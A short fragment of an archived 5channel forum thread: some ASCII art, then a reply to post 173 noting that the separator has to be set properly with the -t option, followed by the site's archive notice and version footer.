(・) ヽ__) \_ノ 丿 (ノー、 | ノ ヽ / | | | (_ノ \ / ) / (_ノ >>173 もう見てはいないだろうが、 -t でちゃんとセパレータを設定する必要がある。 ■ このスレッドは過去ログ倉庫に格納されています
read.cgi ver 07.5.5 2024/06/08 Walang Kapalit ★ | Donguri System Team 5ちゃんねる